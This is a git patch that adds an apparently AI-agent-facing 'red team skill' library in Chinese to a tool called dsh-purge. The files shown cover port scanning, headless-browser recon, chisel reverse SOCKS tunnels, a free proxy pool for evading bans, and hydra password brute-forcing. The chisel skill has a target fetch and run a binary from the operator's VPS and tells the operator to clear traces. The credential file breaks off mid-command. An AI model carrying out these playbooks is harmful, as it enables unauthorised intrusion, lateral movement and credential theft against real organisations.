From 0bf608cc10048bdc39035f3f2ac6ae0d06d3f4bf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=8F=AB=E6=88=91=E5=B0=8F=E6=9D=A8=E5=90=8C=E5=AD=A6?= <188421097+HunYiSage@users.noreply.github.com> Date: Fri, 6 Nov 2026 00:57:09 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E9=9A=8F=E5=8C=85=E6=8A=80=E8=83=BD?= =?UTF-8?q?=E5=BA=93=20skills/redteam=EF=BC=8823=20=E6=9D=A1=EF=BC=89?= =?UTF-8?q?=EF=BC=8C=E7=9F=A5=E8=AF=86=E5=BA=93=E9=9A=8F=E5=AE=BF=E4=B8=BB?= =?UTF-8?q?=E8=BF=90=E8=A1=8C=E6=97=B6=E7=94=9F=E6=95=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 从上游镜像 mmparko/dsh-purge 取回 skills/redteam/*.md 共 23 条红队技能 - package.json files 增加 skills,npm 包与 Release 包都会带上 - README 三语目录结构补上 skills/redteam,运行时目录补上 $DSH_HOME/skills - NOTICE 注明随包技能来源 --- NOTICE | 2 + README.ja.md | 4 +- README.md | 4 +- README.zh-CN.md | 4 +- package.json | 1 + skills/redteam/active-scan.md | 34 ++++ skills/redteam/asset-correlation.md | 16 ++ skills/redteam/browser-automation.md | 82 ++++++++++ skills/redteam/chisel-tunnel.md | 115 +++++++++++++ skills/redteam/cn-proxy-pool.md | 90 ++++++++++ skills/redteam/credential-attack.md | 155 ++++++++++++++++++ skills/redteam/dir-bruteforce.md | 115 +++++++++++++ skills/redteam/fofa-recon.md | 179 ++++++++++++++++++++ skills/redteam/frp-tunnel.md | 147 +++++++++++++++++ skills/redteam/fscan-intranet.md | 216 ++++++++++++++++++++++++ skills/redteam/gogo-intranet.md | 236 +++++++++++++++++++++++++++ skills/redteam/kimi-webbridge.md | 86 ++++++++++ skills/redteam/lateral-movement.md | 148 +++++++++++++++++ skills/redteam/nuclei-scan.md | 103 ++++++++++++ skills/redteam/passive-recon.md | 21 +++ skills/redteam/recon-pipeline.md | 111 +++++++++++++ skills/redteam/redteam-setup.md | 99 +++++++++++ skills/redteam/shell-handler.md | 146 +++++++++++++++++ skills/redteam/suo5-tunnel.md | 63 +++++++ skills/redteam/unauth-exploit.md | 151 +++++++++++++++++ skills/redteam/vps-reverse-shell.md | 187 +++++++++++++++++++++ skills/redteam/web-fingerprint.md | 17 ++ skills/redteam/webshell-toolkit.md | 88 ++++++++++ 28 files changed, 2614 insertions(+), 6 deletions(-) create mode 100644 skills/redteam/active-scan.md create mode 100644 skills/redteam/asset-correlation.md create mode 100644 skills/redteam/browser-automation.md create mode 100644 skills/redteam/chisel-tunnel.md create mode 100644 skills/redteam/cn-proxy-pool.md create mode 100644 skills/redteam/credential-attack.md create mode 100644 skills/redteam/dir-bruteforce.md create mode 100644 skills/redteam/fofa-recon.md create mode 100644 skills/redteam/frp-tunnel.md create mode 100644 skills/redteam/fscan-intranet.md create mode 100644 skills/redteam/gogo-intranet.md create mode 100644 skills/redteam/kimi-webbridge.md create mode 100644 skills/redteam/lateral-movement.md create mode 100644 skills/redteam/nuclei-scan.md create mode 100644 skills/redteam/passive-recon.md create mode 100644 skills/redteam/recon-pipeline.md create mode 100644 skills/redteam/redteam-setup.md create mode 100644 skills/redteam/shell-handler.md create mode 100644 skills/redteam/suo5-tunnel.md create mode 100644 skills/redteam/unauth-exploit.md create mode 100644 skills/redteam/vps-reverse-shell.md create mode 100644 skills/redteam/web-fingerprint.md create mode 100644 skills/redteam/webshell-toolkit.md diff --git a/NOTICE b/NOTICE index a3cb751..609adb0 100644 --- a/NOTICE +++ b/NOTICE @@ -6,3 +6,5 @@ Maintained by the dsh-purge maintainers team. This product is licensed under the Apache License, Version 2.0. Derivative works must retain this NOTICE and attribution. + +Bundled skills under skills/redteam/ originate from the dsh-purge upstream project (YuJunZhiXue/dsh-purge), retrieved via the mirror mmparko/dsh-purge. diff --git a/README.ja.md b/README.ja.md index 758df45..cff5a3b 100644 --- a/README.ja.md +++ b/README.ja.md @@ -433,9 +433,9 @@ Drill を初めて開くときは、通知を読み、カウントダウンを ## レイアウト -`bin/` は CLI、`lib/` はパッチと drill コンソール、`presets/redteam/` はレッドチームプリセット、`client.js` はドックです。スキルライブラリとナレッジベースも同梱されます。 +`bin/` は CLI、`lib/` はパッチと drill コンソール、`presets/redteam/` はレッドチームプリセット、`skills/redteam/` は同梱スキル、`client.js` はドックです。 -ランタイムファイルは `$DSH_HOME` 以下にあります: `prompt-inject.md`、`rules/`、`redteam/`。`DSH_HOME` が未設定の場合、ランチャー横の `.dsh` が `~/.dsh` より優先されます。Web とデスクトップアプリはそれぞれ独自のホームを使います。 +ランタイムファイルは `$DSH_HOME` 以下にあります: `prompt-inject.md`、`rules/`、`skills/`、`redteam/`。`DSH_HOME` が未設定の場合、ランチャー横の `.dsh` が `~/.dsh` より優先されます。Web とデスクトップアプリはそれぞれ独自のホームを使います。 --- diff --git a/README.md b/README.md index d085bec..60bf5a4 100644 --- a/README.md +++ b/README.md @@ -435,9 +435,9 @@ Penetration, attack, or scanning against mainland China, Hong Kong and Macau, ba ## Layout -`bin/` is the CLI, `lib/` is patches and the drill console, `presets/redteam/` is the red-team preset, and `client.js` is the dock. The skill library and knowledge base ship with it. +`bin/` is the CLI, `lib/` is patches and the drill console, `presets/redteam/` is the red-team preset, `skills/redteam/` holds the bundled skills, and `client.js` is the dock. -Runtime files live under `$DSH_HOME`: `prompt-inject.md`, `rules/`, `redteam/`. If `DSH_HOME` is unset, the launcher-adjacent `.dsh` wins over `~/.dsh`. Web and the desktop app each use their own home. +Runtime files live under `$DSH_HOME`: `prompt-inject.md`, `rules/`, `skills/`, `redteam/`. If `DSH_HOME` is unset, the launcher-adjacent `.dsh` wins over `~/.dsh`. Web and the desktop app each use their own home. --- diff --git a/README.zh-CN.md b/README.zh-CN.md index ac253a0..bc85d2f 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -443,9 +443,9 @@ dsh-purge --uninstall ## 目录结构 -`bin/` 是命令行,`lib/` 是补丁和演练台,`presets/redteam/` 是红队预设,`client.js` 是侧栏。技能库与知识库随包提供。 +`bin/` 是命令行,`lib/` 是补丁和演练台,`presets/redteam/` 是红队预设,`skills/redteam/` 是随包技能,`client.js` 是侧栏。 -运行时文件在 `$DSH_HOME`:`prompt-inject.md`、`rules/`、`redteam/`。未设 `DSH_HOME` 时,优先用 dsh 安装目录旁边的 `.dsh`,再退回 `~/.dsh`。Web 和桌面端各用自己那一份主目录。 +运行时文件在 `$DSH_HOME`:`prompt-inject.md`、`rules/`、`skills/`、`redteam/`。未设 `DSH_HOME` 时,优先用 dsh 安装目录旁边的 `.dsh`,再退回 `~/.dsh`。Web 和桌面端各用自己那一份主目录。 --- diff --git a/package.json b/package.json index 26bf103..d33cd67 100644 --- a/package.json +++ b/package.json @@ -25,6 +25,7 @@ "bin", "docs", "presets", + "skills", "scripts", "client.js", "cordis.patch.yml", diff --git a/skills/redteam/active-scan.md b/skills/redteam/active-scan.md new file mode 100644 index 0000000..ba948bb --- /dev/null +++ b/skills/redteam/active-scan.md @@ -0,0 +1,34 @@ +--- +name: active-scan +description: 主动端口与服务扫描(nmap/masscan),严格遵守授权范围 +whenToUse: 需要确认资产存活与开放端口时 +role: recon +enabled: true +--- + +## 前置检查 +1. 确认目标 CIDR 在授权范围内。 +2. 确认当前时间窗口允许主动扫描。 + +## 命令 +- 快速存活:`nmap -sn ` +- 全端口(限速):`nmap -sS -p- --min-rate 1000 -T4 -oX runs/nmap-full.xml` +- 服务版本:`nmap -sV -sC -p -oX runs/nmap-svc.xml` + +## 本地已备好的工具(绝对路径,优先用它们,不要手搓) +| 用途 | 命令 | +| --- | --- | +| 端口扫描 | `nmap` / `masscan` / `~/.dsh/redteam/toolkit/naabu/naabu`(SYN 需 root,否则加 `-scan-type c`) | +| 内网综合扫描 | `~/.dsh/redteam/toolkit/fscan/fscan`(技能 fscan-intranet) | +| 内网测绘/指纹 | `~/.dsh/redteam/toolkit/gogo/gogo`(技能 gogo-intranet) | +| HTTP 探测(ProjectDiscovery) | `~/.local/bin/pd-httpx`(**注意:`/usr/bin/httpx` 是 Python httpx 库的 CLI,不是这个**) | +| 子域/解析 | `~/.dsh/redteam/toolkit/subfinder/subfinder`、`~/.dsh/redteam/toolkit/dnsx/dnsx` | +| POC 扫描 | `nuclei`(模板已在 `~/.local/nuclei-templates`) | +| 目录爆破 | `ffuf`、`~/.dsh/redteam/toolkit/dirsearch/dirsearch` | +| 隧道 | `~/.dsh/redteam/toolkit/suo5/suo5-linux-amd64`、`toolkit/chisel/chisel`、`toolkit/frp/{frpc,frps}` | +| 完整清单 | `~/.dsh/redteam/toolkit/清单.md`、`技能工具清单.md` | + +`setup.sh` 不下载 dirsearch。`清单.md` 是说明文件,缺了不代表扫描器没装。Windows 与 ARM 构建也不在安装脚本里。 + +## 落库要求 +provenance = `active`,tool = `nmap`/`masscan`,记录 scan_run。 diff --git a/skills/redteam/asset-correlation.md b/skills/redteam/asset-correlation.md new file mode 100644 index 0000000..e69694a --- /dev/null +++ b/skills/redteam/asset-correlation.md @@ -0,0 +1,16 @@ +--- +name: asset-correlation +description: 资产关联:域名↔IP↔C 段↔证书↔服务的图谱化 +whenToUse: 信息收集阶段性收口,需要形成资产关系视图时 +role: recon +enabled: true +--- + +## 关联规则 +- 域名解析 → `resolves` 边(domain → asset) +- C 段归属 → `contains` 边(segment → asset) +- 端口开放 → `exposes` 边(asset → port) +- 证书 SAN 共享 → `shares_cert` 边 + +## 落库要求 +通过 redteam_asset_link 写入 edge 表;重复关系幂等。 diff --git a/skills/redteam/browser-automation.md b/skills/redteam/browser-automation.md new file mode 100644 index 0000000..2befa67 --- /dev/null +++ b/skills/redteam/browser-automation.md @@ -0,0 +1,82 @@ +--- +name: browser-automation +description: 无依赖驱动 Chrome/Chromium 抓取 JS 渲染页面、截图、执行 JS、抓接口清单(headless 兜底 + playwright-cli) +whenToUse: 需要渲染 SPA / 取 JS 生成的内容 / 截图留证 / 批量抓页面时(Kimi 扩展不可用时首选) +role: recon +enabled: true +--- + +# 浏览器自动化(headless Chrome) + +本机:`/usr/bin/chromium` 150.0.7871.181,`DISPLAY=:10.0`,Node v22.23.2。 + +## 一、零依赖:chromium 命令行(最稳) +```bash +CHROME=/usr/bin/chromium +FLAGS="--headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage --virtual-time-budget=8000" + +# 1) 抓渲染后的 DOM(SPA 也能拿到内容) +$CHROME $FLAGS --dump-dom "https://target.example.com/" 2>/dev/null > runs/page.html + +# 2) 只取纯文本 +$CHROME $FLAGS --dump-dom "https://target.example.com/" 2>/dev/null \ + | python3 -c "import sys,re;h=sys.stdin.read();print(re.sub(r'<[^>]+>',' ',re.sub(r'(?is)<(script|style).*?',' ',h)))" | head -200 + +# 3) 截图留证 +$CHROME $FLAGS --window-size=1440,900 --screenshot=runs/shot-$(date +%s).png "https://target.example.com/" + +# 4) 带 Cookie 访问(登录态复用:从 Burp/浏览器导出 Cookie 后写入) +$CHROME $FLAGS --user-data-dir=/tmp/rt-profile --dump-dom "https://target.example.com/admin" + +# 5) 生成 PDF +$CHROME $FLAGS --print-to-pdf=runs/page.pdf "https://target.example.com/" +``` + +### 抓前端接口清单(信息收集重点) +```bash +# 用 chromium 跑一段 JS 并输出结果 +$CHROME $FLAGS --dump-dom "https://target.example.com/" 2>/dev/null > runs/page.html +python3 - <<'PY' +import re, json, pathlib +html = pathlib.Path('runs/page.html').read_text(errors='ignore') +paths = set(re.findall(r'["\'](/(?:api|rest|v[0-9]|admin|user|order|upload|file)[A-Za-z0-9_\-/{}.:]{0,80})["\']', html)) +print('\n'.join(sorted(paths))) +PY +# 再结合 JS 资源逐个下载提取: +grep -oE 'src="[^"]+\.js[^"]*"' runs/page.html | sed 's/src="//;s/"$//' | while read u; do + case "$u" in http*) url="$u";; /*) url="https://target.example.com$u";; *) url="https://target.example.com/$u";; esac + curl -s "$url" | grep -oE '["\'](/(api|rest|v[0-9])[A-Za-z0-9_\-/{}.:]{0,80})["\']' | tr -d '"'"'" >> runs/interfaces.txt +done +sort -u runs/interfaces.txt +``` + +## 二、playwright-cli(需要交互/等待/多页时) +**本机已装好浏览器**(`~/.cache/ms-playwright/chromium-1243`,一次性 `npx playwright install chromium` 已完成)。注意:**默认走 chrome 通道会报 `Chromium distribution 'chrome' is not found`,必须加 `--browser chromium`**。 + +```bash +PW="npx --yes @playwright/cli@latest" +$PW -s=recon1 open --browser chromium "https://target.example.com/" # 打开(-s 指定会话名) +$PW -s=recon1 snapshot # 无障碍树 + @e 元素引用 +$PW -s=recon1 eval "() => document.title" # 执行 JS +$PW -s=recon1 find "登录" # 在快照里搜文本 +$PW -s=recon1 click "@e5" # 点击 +$PW -s=recon1 fill "@e7" "admin" # 填表 +$PW -s=recon1 screenshot --path runs/pw.png # 截图 +$PW -s=recon1 --persistent --profile runs/pw-profile open --browser chromium URL # 复用登录态 +$PW -s=recon1 close # 关闭会话 +``` + +登录态复用:`--persistent --profile `;首次登录后该 profile 保留 Cookie,后续直接用同一 profile 打开即为已登录。 +常用子命令:`open / goto / snapshot / find / eval / click / fill / press / upload / screenshot / resize / reload / go-back / close / list`。 + +## 三、选择建议 +| 场景 | 用哪个 | +|---|---| +| 只需页面内容/截图/接口清单 | chromium 命令行(零依赖、最快) | +| 需要点击/填表/等待/多标签 | playwright-cli(`--browser chromium`)| +| 需要复用用户真实登录态 | Kimi WebBridge(技能 `kimi-webbridge`,需扩展) | + +## 注意事项 +- `--no-sandbox` 仅在本机演练环境使用;不要把该参数带进生产。 +- 抓到的 URL/标题写回 `redteam_asset_add`(`url`/`title` 字段),接口清单写 `runs/` 并在攻击链里引用。 +- 截图与页面内容可能含敏感数据,只落 `runs/`,不要写进资产库。 diff --git a/skills/redteam/chisel-tunnel.md b/skills/redteam/chisel-tunnel.md new file mode 100644 index 0000000..86ece20 --- /dev/null +++ b/skills/redteam/chisel-tunnel.md @@ -0,0 +1,115 @@ +--- +name: chisel-tunnel +description: chisel 隧道:HTTP/WebSocket 封装的多路复用隧道,最易穿透出网限制与反向代理 +whenToUse: suo5 不适用(非 WebShell 入口)、目标只能出 HTTP、需要端口转发或稳定 SOCKS 时 +role: internal +enabled: true +--- + +# chisel(HTTP 隧道 / 端口转发) + +> **先加载 VPS 配置**:本技能里所有 `$REDTEAM_VPS_HOST` / `$VPS_USER` 都来自本机配置, +> 首次由 `bash $DSH_HOME/redteam/setup.sh` 写入 `$DSH_HOME/.env`。每条命令前先 source 一次: +> ```bash +> set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a +> VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST" +> ``` +> 没配过就跑一次 `setup.sh`(技能 `redteam-setup`),它同时会验证 SSH 连通性与载荷服务。 + +`chisel` 把 TCP 流量封进 **HTTP/WebSocket**,因此**最容易穿过只放行 80/443 的出网策略与反向代理**。 +它和 suo5 的分工: + +| | suo5 | chisel | +| --- | --- | --- | +| 入口前提 | **必须有 WebShell**(HTTP 通道) | **只要有命令执行**(能跑二进制即可) | +| 传输 | HTTP 长连接(伪装成正常请求) | HTTP/WebSocket(upgrade) | +| 强项 | 从 Web 入口进内网,用户可复用 | 从 shell/RCE 入口进内网;端口转发灵活 | +| 噪声 | 低(像普通 Web 请求) | 低-中(WebSocket 特征明显些) | + +**选择口径**:有 WebShell → 优先 `suo5-tunnel`;只有命令执行/RCE 或需要精确端口转发 → 用 chisel。 + +## 本机二进制 + +| 文件 | 路径 | +| --- | --- | +| chisel(Linux amd64,服务端与客户端同一个二进制) | `$DSH_HOME/redteam/toolkit/chisel/chisel`(v1.12.0) | + +已同步到 VPS 载荷目录:`http://$REDTEAM_VPS_HOST:9100/`(目标可 `curl` 直接拉)。 + +## 一、反向 SOCKS(最常用:目标主动连我们) + +```bash +# 1) 我方 VPS 起服务端(tmux 里跑,别让 SSH 断开杀掉) +tmux new -s chisel +$DSH_HOME/redteam/toolkit/chisel/chisel server -p 9443 --reverse --socks5 +# --reverse 允许客户端注册反向隧道 +# --socks5 开启内置 SOCKS5(客户端连上后该端口即可用) +# 可选加固:--auth user:pass 加认证,避免被扫到白用 +# 可选伪装:--backend http://127.0.0.1:80 把 Web 流量转发到本地站点 + +# 2) 目标侧起客户端(通过已有的 RCE/命令执行点跑;先把二进制拉上去) +curl -s http://$REDTEAM_VPS_HOST:9100/chisel -o /tmp/c && chmod +x /tmp/c +/tmp/c client $REDTEAM_VPS_HOST:9443 R:socks +# R:socks = 反向 SOCKS;连上后 VPS 的 1080 端口即为内网 SOCKS5 入口 + +# 3) 本机通过 VPS 的 SOCKS 访问内网 +proxychains4 -f runs/proxychains-1080.conf curl -s http://10.0.0.5/ +# runs/proxychains-1080.conf 里写:socks5 $REDTEAM_VPS_HOST 1080 +# ⛔ 不要改系统 /etc/proxychains4.conf,用 -f 指向 runs/ 下的临时配置 +``` + +## 二、反向端口转发(把内网某个端口映射出来) + +```bash +# 目标侧:把内网 10.0.0.5:3389 映射到 VPS 的 13389 +/tmp/c client $REDTEAM_VPS_HOST:9443 R:13389:10.0.0.5:3389 +# 本机:直接连 VPS:13389 即为内网 3389 +rdesktop $REDTEAM_VPS_HOST:13389 +``` + +## 三、正向 SOCKS(目标能直连我们、但我们要主动连目标内网) + +```bash +# 目标侧起服务端 +/tmp/c server -p 9443 --socks5 +# 我方起客户端做本地转发 +chisel client :9443 1080:socks +# 之后 proxychains 指向 127.0.0.1:1080 +``` + +## 四、多级 / 联动 + +```bash +# 已有 A 隧道(suo5 → 127.0.0.1:1080),要通过 A 在内网主机 B 上再起 chisel +proxychains4 -f runs/proxychains-1080.conf \ + ssh user@10.0.0.6 "curl -s http://$REDTEAM_VPS_HOST:9100/chisel -o /tmp/c && chmod +x /tmp/c && nohup /tmp/c client $REDTEAM_VPS_HOST:9443 R:socks2 &" +# 逐层扩大可达范围,每层都要登记隧道与可达网段 +``` + +## 五、纪律与自保 + +1. **必须跑在 tmux / nohup 里**:会话断开隧道就没了(`nohup ... &` 或 `tmux`)。 +2. **服务端加认证**:公网 VPS 上的 chisel 服务端会被扫端口,加 `--auth user:pass`,用完 `pkill` 关掉。 +3. **端口选择**:别用 80/443(可能被 VPS 上别的服务占用),用 9443/8443 等高位端口; + **VPS 安全组要放行**。 +4. **目标侧落地要清理痕迹与文件**:`/tmp/c` 用完可删;注意别把二进制放在有明显特征的路径。 +5. **不要用自建 VPS 上的代理冒充"突破"**:隧道登记 `entry_kind` 必须说清目标侧那一端(见下)。 + +## 六、输出与落库(强制) + +1. **隧道登记 `redteam_tunnel_add`**,字段必须写全: + - `kind`:`chisel`; + - `listen`:**用户实际能用的监听地址**(如 `$REDTEAM_VPS_HOST:1080` 或 `127.0.0.1:1080`); + - `entry`:目标侧的入口(如 `10.0.0.6 上的 /tmp/c 客户端 → VPS:9443`); + - `reach`:**可达网段**(如 `10.0.0.0/24`,实测出来再填,别猜); + - `entry_kind`:**必须是 `target-outbound`**(目标反弹/目标上跑 chisel 客户端)或 + `target-http`(经目标 WebShell)、`target-agent`(经目标已控进程); + ⛔ 只在自己 VPS 上开代理填 `self-only`——**会被标"不算突破"**; + - `command`:完整命令原文(服务端 + 客户端两段都要)。 +2. **实测连通性**:`curl --socks5-hostname http://<内网目标>/` 或 `proxychains4 -f ... curl ...`, + 通了才算隧道成立;然后 `redteam_session_check` 回写状态。 +3. **得分**:隧道可达内网 → `redteam_score_hit`(`boundary`,evidence 写「隧道地址|可达网段|实测访问到的内网目标」); + 通过它横向到其它主机 → `server-host`。 +4. **交付给用户**:给出可直接粘贴的配置——`socks5://`(或 `ssh -D` / frp 映射到用户机器的方法), + 写清监听地址与端口,并说明该隧道跨越了靶标边界。 +5. 每个关键动作 `redteam_chain_add`(`stage_code=boundary-logical`),`tool` 写命令原文、`result` 写回显摘要。 diff --git a/skills/redteam/cn-proxy-pool.md b/skills/redteam/cn-proxy-pool.md new file mode 100644 index 0000000..3a6130b --- /dev/null +++ b/skills/redteam/cn-proxy-pool.md @@ -0,0 +1,90 @@ +--- +name: cn-proxy-pool +description: 国内免费 HTTP/SOCKS5 代理池:抓取、验活、按需轮换;只用命令级代理参数,绝不改动本机网络与代理配置 +whenToUse: 目标有 WAF/封 IP 风险,或需要高频请求(接口爆破、目录扫描、口令喷洒)时 +role: vuln-scan +enabled: true +--- + +# 国内免费 IP 代理池 + +免费代理不稳定,定位是**降低被封风险**而不是隐藏身份。关键目标优先用自有出口或 suo5 隧道。 + +## ⛔ 铁规则:不许动本机的网络与代理配置 + +使用代理**只允许在单条命令上临时指定**,任何情况下都不要修改本机配置。以下操作一律禁止: + +| 禁止 | 说明 | +|---|---| +| 设系统代理 | GNOME/KDE 网络设置、`gsettings set org.gnome.system.proxy …`、`networksetup -setwebproxy`、Windows `netsh winhttp set proxy` | +| 写全局环境变量 | 修改 `/etc/environment`、`/etc/profile`、`/etc/profile.d/*`、`~/.bashrc`、`~/.bash_profile`、`~/.profile`、`~/.zshrc` 里的 `http_proxy` / `https_proxy` / `all_proxy` / `no_proxy` | +| 改工具全局配置 | `~/.curlrc`、`~/.wgetrc`、`~/.npmrc`、`/etc/apt/apt.conf.d/*proxy*`、`/etc/pip.conf`、`~/.docker/config.json`、`~/.gitconfig` 的 proxy 项 | +| 改 proxychains 全局配置 | 不修改 `/etc/proxychains4.conf`、`~/.proxychains/proxychains.conf`;确需用时用 `-f` 指向 `runs/` 下的临时配置,用完删除 | +| 动系统网络 | iptables/nftables 规则、路由表、DNS(`/etc/resolv.conf`)、NetworkManager、起停 VPN/tun 设备 | +| 持久化 export | 不在 shell 里 `export http_proxy=…` 让它留在会话里;要传就**内联**在该条命令前 | + +**正确姿势**(全部是命令级、一次性的): + +```bash +P=$(shuf -n1 runs/live-proxies.txt) + +# 方式一:工具自带的代理参数(首选) +curl -s --proxy "http://$P" --max-time 15 -I "https://target.example.com/" +nuclei -u https://target.example.com/ -proxy "http://$P" -rate-limit 20 +sqlmap -u "https://target.example.com/item?id=1" --proxy="http://$P" --batch --random-agent +ffuf -u https://target.example.com/api/FUZZ -w wordlist.txt -x "http://$P" -rate 20 + +# 方式二:只对这条命令内联环境变量(不 export,进程结束即失效) +http_proxy="http://$P" https_proxy="http://$P" curl -s --max-time 15 "https://target.example.com/" + +# 方式三:只支持原始 TCP 的工具 → 用 suo5 SOCKS5 隧道(技能 suo5-tunnel), +# 不要为它去改系统代理;proxychains 用临时配置文件: +proxychains4 -f runs/proxychains.tmp.conf -q nmap -sT -Pn -p 80,443 10.0.0.5 +``` + +## 一、抓取(多源合并) +```bash +mkdir -p runs && cd runs +curl -s --max-time 20 "https://www.89ip.cn/tqdl.html?api=1&num=50&port=&address=%E4%B8%AD%E5%9B%BD&isp=" \ + | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{2,5}' >> raw-proxies.txt +curl -s --max-time 20 "http://www.ip3366.net/free/?stype=1" \ + | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}[[:space:]]*[0-9]{2,5}' \ + | sed -E 's#[[:space:]]*#:#' >> raw-proxies.txt +curl -s --max-time 20 "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/countries/CN/data.txt" \ + | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{2,5}' >> raw-proxies.txt +sort -u raw-proxies.txt -o raw-proxies.txt && wc -l raw-proxies.txt +``` + +## 二、验证(并发测活,留下能用的) +```bash +cat > runs/check_proxy.py <<'PY' +import concurrent.futures, sys, urllib.request +TARGET = "http://www.baidu.com" # 仅测连通性,不携带任何敏感数据 +def ok(proxy): + try: + op = urllib.request.build_opener(urllib.request.ProxyHandler({"http": "http://" + proxy, "https": "http://" + proxy})) + with op.open(TARGET, timeout=6) as r: + return proxy if r.status == 200 else None + except Exception: + return None +with open(sys.argv[1]) as f: + cands = [l.strip() for l in f if l.strip()] +with concurrent.futures.ThreadPoolExecutor(max_workers=50) as ex: + for res in ex.map(ok, cands): + if res: print(res, flush=True) +PY +python3 runs/check_proxy.py runs/raw-proxies.txt > runs/live-proxies.txt +wc -l runs/live-proxies.txt +``` + +## 三、轮换与限速 +- 每个请求随机取一个代理;失败自动剔除并换下一个。 +- 目标侧仍要限速(`-rate-limit` / `--delay`),代理只是换出口 IP,不是加速器。 +- 记录每个出口 IP 的成败,同一目标连续 3 次被封就按漏洞检测提示词里的规则**放弃该目标**。 + +## 四、注意事项 +- **不要通过免费代理传输凭据、Cookie、上传的 shell**——免费代理可能记录流量。 +- 测活只测连通性,不要用真实业务请求去测。 +- 高频爆破前确认目标没有账号锁定策略;触发锁定前主动停手。 +- 用完清掉 `runs/` 下的临时配置(如 `proxychains.tmp.conf`),不要在系统里留下任何代理痕迹。 +- 仅在授权演练范围内使用。 diff --git a/skills/redteam/credential-attack.md b/skills/redteam/credential-attack.md new file mode 100644 index 0000000..706e169 --- /dev/null +++ b/skills/redteam/credential-attack.md @@ -0,0 +1,155 @@ +--- +name: credential-attack +description: 凭据攻击:在线弱口令爆破(hydra)与离线哈希破解(hashcat/john),覆盖 SSH/FTP/RDP/SMB/数据库/Web 后台 +whenToUse: 发现登录入口(Web 后台/SSH/FTP/RDP/SMB/MySQL/MSSQL/Redis)需要试口令;或已拿到哈希/密文需要还原明文 +role: exploit +enabled: true +--- + +# 凭据攻击(在线爆破 + 离线破解) + +红队里"拿账号权限"最稳的两条路之一(另一条是配置/源码泄露拿到明文)。 +**本技能只管把口令试出来**;试出来之后必须用技能 `browser-automation` / `kimi-webbridge` +**在真实浏览器登录一次**才算拿到账号权限(红线:只有凭据不算拿到账号)。 + +## 本机工具 + +| 工具 | 路径 | 版本 | 用途 | +| --- | --- | --- | --- | +| **hydra** | `/usr/bin/hydra` | 9.7 | 在线爆破,覆盖 50+ 协议 | +| **hashcat** | `/usr/bin/hashcat` | 7.1.2 | 离线哈希破解(GPU/CPU) | +| **john** | `/usr/sbin/john` | — | 离线破解(自动识别格式,配置简单) | + +字典:`/usr/share/wordlists/`(含 `rockyou.txt` 需 gunzip)、`/usr/share/seclists/Passwords/`。 +**没有 rockyou 时先解压**:`sudo gunzip /usr/share/wordlists/rockyou.txt.gz`(需授权,没有就换 seclists 里的)。 + +## 一、在线爆破(hydra) + +### 通用语法 +```bash +hydra -L users.txt -P pass.txt ://[:port] [模块参数] -t <并发> -f -o runs/hydra-.txt +``` +- `-L` 用户名字典 / `-l` 单个用户名;`-P` 口令字典 / `-p` 单个口令 +- `-t` 并发(**默认 16,别超过 16**,多数服务会锁号或封 IP) +- `-f` 命中一个就停(避免把账号打锁) +- `-o` 输出到 `runs/`(报告要靠它复现) +- `-V` 显示每次尝试(调试用,正式跑别开) + +### 各协议实例 +```bash +# SSH +hydra -L users.txt -P pass.txt ssh://10.0.0.5 -t 4 -f -o runs/hydra-ssh-10.0.0.5.txt + +# RDP(注意:并发必须低,Windows 会锁号) +hydra -L users.txt -P pass.txt rdp://10.0.0.6 -t 2 -f -o runs/hydra-rdp-10.0.0.6.txt + +# SMB +hydra -L users.txt -P pass.txt smb://10.0.0.7 -t 4 -f + +# FTP +hydra -L users.txt -P pass.txt ftp://10.0.0.8 -t 6 -f + +# MySQL +hydra -L users.txt -P pass.txt mysql://10.0.0.9 -t 4 -f + +# MSSQL +hydra -L users.txt -P pass.txt mssql://10.0.0.10 -t 4 -f + +# Web 表单登录(POST)——最常用 +hydra -L users.txt -P pass.txt target.example.com http-post-form \ + "/admin/login.jsp:username=^USER^&password=^PASS^:F=用户名或密码错误" -t 8 -f -o runs/hydra-web-admin.txt + +# Web 表单(带额外头/HTTPS) +hydra -L users.txt -P pass.txt -s 443 -S target.example.com http-post-form \ + "/login:user=^USER^&pass=^PASS^:F=invalid:H=Cookie: JSESSIONID=xxx" -t 8 -f +``` + +### Web 表单爆破的成败判定(关键) +`http-post-form` 第三段格式:`"<路径>::<失败条件>"`,**失败条件必须写准**,否则全量误报: +- `F=<失败特征串>`:响应里出现该串表示**失败**(推荐,最稳) +- `S=<成功特征串>`:响应里出现该串表示**成功**(响应无统一失败文案时用) +- 先手工发两次请求(错误口令 vs 正确口令各一次,或对比不存在用户)**确认特征串唯一**,再跑爆破。 +- 有验证码 / 图形码 / 滑块:先看能不能绕过(固定验证码、验证码不校验、前端校验),绕不过**不要硬爆**(技能 `browser-automation` 可做有限次带验证码尝试),转别的路。 + +### 字典优先级(省时间的关键) +1. **针对性小字典**(命中率最高):单位名/品牌/域名/年份组合,如 `单位简称@2026`、`Admin@123`、`<域名>2026`; + 用 `redteam_asset_query` 里的 title/单位信息现造。 +2. **默认口令字典**:产品默认口令(`admin/admin`、`tomcat/tomcat`、`weblogic/weblogic1`、`sa/sa`), + 参考 nuclei 模板 `http/default-logins/`(307 个),**先查 `redteam_poc_search`**。 +3. **常见弱口令 TOP**:`/usr/share/seclists/Passwords/Common-Credentials/` 下的 10-million / top-100 等。 +4. 通用大字典(rockyou)放最后——慢且噪声大。 + +### 用户名从哪来 +- Web 后台:报错信息、JS 里的默认账号、接口返回的 `createBy`、登录页提示、`robots.txt`、员工邮箱前缀; +- 目录爆破命中 `/admin` 时优先试 `admin`、`administrator`、`system`、`test`、`guest`; +- 拿到一个凭据后走**凭据复用**(见下),比爆破快得多。 + +## 二、离线破解(hashcat / john) + +拿到哈希/密文(数据库、配置文件、`/etc/shadow`、Web 应用库)后离线跑,**不产生目标侧流量**,比在线爆破安全得多。 + +```bash +# 1) 先识别哈希类型 +hashcat --identify 